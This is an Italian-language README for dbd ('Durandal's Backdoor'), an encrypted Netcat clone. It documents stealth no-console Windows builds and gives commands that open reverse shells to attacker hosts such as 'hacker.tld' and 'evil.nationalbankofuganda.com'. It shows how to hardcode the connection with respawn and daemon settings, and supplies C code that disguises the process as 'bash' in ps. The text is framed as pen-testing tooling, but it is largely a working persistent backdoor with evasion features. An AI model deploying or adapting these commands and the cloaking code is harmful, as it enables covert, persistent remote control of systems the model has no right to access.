
d8888b. d8888b. d8888b.
88 8D 88 8D 88 `8D
88 88 88oooY' 88 88
88 88 88~~~b. 88 88
88 .8D 88 8D 88 .8D
Y8888D' Y8888P' Y8888D'
#Durandal's Backdoor #Copyright (C) 2013 Kyle Barnthouse [email protected] #dbd è distribuito sotto la GNU GPL #Binario Mipsbe aggiunto da Darkerego [https://github.com/darkerego] [(mailto:[email protected])]
###SINOSSI
dbd è un clone di Netcat, progettato per essere portabile e offrire una crittografia forte. Funziona su sistemi operativi Unix-like e su Microsoft Win32. dbd offre la crittografia AES-CBC-128 + HMAC-SHA1 (di Christophe Devine), l'esecuzione di programmi (opzione -e), la scelta della porta sorgente, la riconnessione continua con ritardo e alcune altre utili funzionalità. dbd supporta solo la comunicazione TCP/IP. Il codice sorgente e i binari sono distribuiti sotto la GNU General Public License.
###COMPILAZIONE
$ make
usage:
make unix - Linux, NetBSD, FreeBSD, OpenBSD
make unix32 - Linux, NetBSD, FreeBSD, OpenBSD 32-bit
make sunos - SunOS (Solaris)
make win32 - native win32 console app (w/ Cygwin + MinGW)
make win32bg - create a native win32 no-console app (w/ Cygwin + MinGW)
make win32bg CFLAGS=-DSTEALTH - stealthy no-console app
make mingw - native win32 console app (w/ MinGW MSYS)
make mingwbg - native win32 no-console app (w/ MinGW MSYS)
make mingwbg CFLAGS=-DSTEALTH - stealthy no-console app (w/ MinGW MSYS)
make cygwin - Cygwin console app
make darwin - Darwin
cross-compile options:
make mingw-cross - win32 cross compile (i586-mingw32msvc-gcc)
make mingwbg-cross - win32 no-console cross compile (i586-mingw32msvc-gcc)
make mingwbg-cross CFLAGS=-DSTEALTH - stealthy win32 cross compile
make unix CROSS_COMPILE=<path/to/toolchain-> - cross compile for any arch
roll up a tarball (move your compiled stuff to binaries/ first:
make dist - create tarball with source files, readme, and binaries/
Per compilare dbd su un sistema operativo Unix-like servono gcc e gli strumenti di sviluppo pertinenti. Per Linux, FreeBSD, NetBSD, OpenBSD (e probabilmente altri), digitare:
$ make unix
Per SunOS/Solaris, digitare:
$ make sunos
Per compilare dbd sotto Microsoft Windows (NT/2K/XP/2K3) hai bisogno di MinGW+MSYS, oppure di Cygwin con supporto completo allo sviluppo (il gcc MinGW di Cygwin). Per compilare un'applicazione console Win32 nativa di dbd sotto Cygwin, digitare:
$ make win32
oppure, sotto MSYS:
$ make mingw
Per compilare un'applicazione senza console ("WinMain") sotto Cygwin, digitare:
$ make win32bg
oppure, sotto MSYS:
$ make mingwbg
Per compilare un'applicazione console specifica per Cygwin, digitare:
$make cygwin
Potresti voler modificare il comportamento predefinito di dbd. Una delle cose più importanti è cambiare il segreto condiviso predefinito con la tua passphrase. Modifica dbd.h e sostituisci i valori predefiniti con le tue preferenze. Potresti, ad esempio, voler hardcodare un host + porta a cui connetterti se dbd viene avviato senza opzioni. Esempi completi sono forniti in dbd.h.
###ESEMPI DI UTILIZZO
Con un po' di immaginazione, dbd può essere usato per molte cose:
Usa dbd per trasferire file in modo sicuro tra due reti:
snafu$ dbd -l -p 12345 -k secret > output.file
fubar$ cat input.file | dbd -k secret snafu 12345
oppure da win32:
C:\somedir>type input.fil | dbd -k secret snafu 12345
Usa dbd come chat semplice (ma sicura):
snafu$ dbd -P snafu -Hon fubar 1234
fubar$ dbd -Pfubar -Hon -l -p 1234
Usa dbd come backdoor per pen-test:
C:\hacked box>dbdbg.exe -r1800 -q -e cmd.exe hacker.tld 443
oppure sotto sistemi operativi Unix-like:
root@owned# ./dbd -r1800 -Don -e /bin/bash hacker.tld 993
###OPZIONI DI HARDCODING
Oltre a usare le opzioni da riga di comando, puoi hardcodare le variabili usando i #define in dbd.h. Per farlo, imposta le variabili che desideri usare come costanti con nome e compila normalmente. Ad esempio, se volessi hardcodare un eseguibile dbd che si riconnette a "evil.nationalbankofuganda.com" sulla porta 995 ed esegue "/bin/bash", potresti eseguire:
root@owned# ./dbd -e /bin/bash evil.nationalbankofuganda.com 995
oppure, usando #define hardcodati, potresti modificare dbd.h:
#define DOLISTEN 0
#define HOST "evil.nationalbankofuganda.com"
#define PORT 995
#define EXECPROG "/bin/bash"
Puoi anche impostare le opzioni di respawn e stealth per aiutare a mantenere la connessione:
#define RESPAWN_ENABLED 1
#define RESPAWN_INTERVAL 900
#define QUIET 1
#define DAEMONIZE 1
Questo imposterà la connessione in modo che diventi un demone ("melt" in gergo malware), non invii mai output su STDOUT e tenti di respawnare la connessione ogni 15 minuti qualora si disconnettesse dal listener.
###TECNOLOGIA DI OCCULTAMENTO ROMULANA
Ora entriamo nelle cose divertenti. Una volta che sei un maestro nell'hardcodare le opzioni nella tua backdoor, puoi usare quella che è probabilmente la costante con nome più divertente a nostra disposizione: CLOAK. Per farlo, imposta semplicemente il valore:
#define CLOAK 1
NOTA: attualmente funziona solo su compilazioni *nix. Col tempo ho intenzione di aggiungere la migrazione/hooking dei processi Win32, così anche quei target potranno ricevere un po' di amore romulano.
Per gli ambienti *nix, questa opzione ripulisce argv[0] e lo sostituisce con la stringa "bash\0". Ripulisce anche tutti gli altri argv[] (sarebbe ridicolo se ps restituisse "bash -e /bin/bash someremotehost.com 443", non credi?) Spero che sia ovvio che NON PUOI USARE QUESTA OPZIONE A MENO CHE TU NON STIA HARDCODANDO LE TUE VARIABILI IN DBD.H. Inoltre, se stai testando questo sul tuo sistema, sarà divertente scegliere il pid giusto da uccidere. ;)
Sentiti libero di usare questo ripulitore in qualsiasi cosa su cui ti trovi a lavorare:
//grab our named constant
int cloak = CLOAK;
//Engage cloaking device
if(cloak)
{
#ifdef WIN32
//stub
#else
//change argv[0] to say bash
int scrub;
strncpy((char *)argv[0], "\0", strlen((char *)argv[0]) + 1);
strcpy((char *)argv[0], "bash\0");
for (scrub = 1; scrub < argc; scrub++)
{
strncpy((char *)argv[scrub], "\0", strlen((char *)argv[scrub]) + 1);
}
#endif
}
###AVVERTENZA
Non passare input memorizzato nella cache (un file con comandi o simili) a una sessione "dbd -e" in ascolto. "dbd -e" usa pipe per passare i dati tra il programma eseguito e dbd. Le pipe vengono usate (invece di semplici descrittori di file duplicati in pass-through) a causa della crittografia tra le pipe e il socket. Per evitare che l'estremità di scrittura di una delle pipe blocchi l'intero processo, l'ho trasformata in un descrittore non bloccante. C'è la possibilità che, passando troppi input contemporaneamente al programma -e, questi vengano troncati (tagliati) poiché il buffer della pipe (nel sistema operativo) non può contenere tutti i dati. Questo problema può essere risolto, ad esempio, rendendo dbd multi-thread, ma eviterò questa soluzione il più a lungo possibile per motivi di compatibilità.
###CROSS-COMPILAZIONE
Poiché dbd è stato progettato per interoperare con altri strumenti/framework, make ora consente la cross-compilazione win32 su sistemi Linux che hanno la toolchain mingw32-gcc. Queste opzioni sono quasi identiche alle loro controparti native Windows, con l'aggiunta di "-cross" dopo la build scelta. Esempio:
$ make mingw-cross
farà la stessa cosa su un sistema Linux che
$ make mingw
farebbe su un sistema win32 con mingw/msys installato.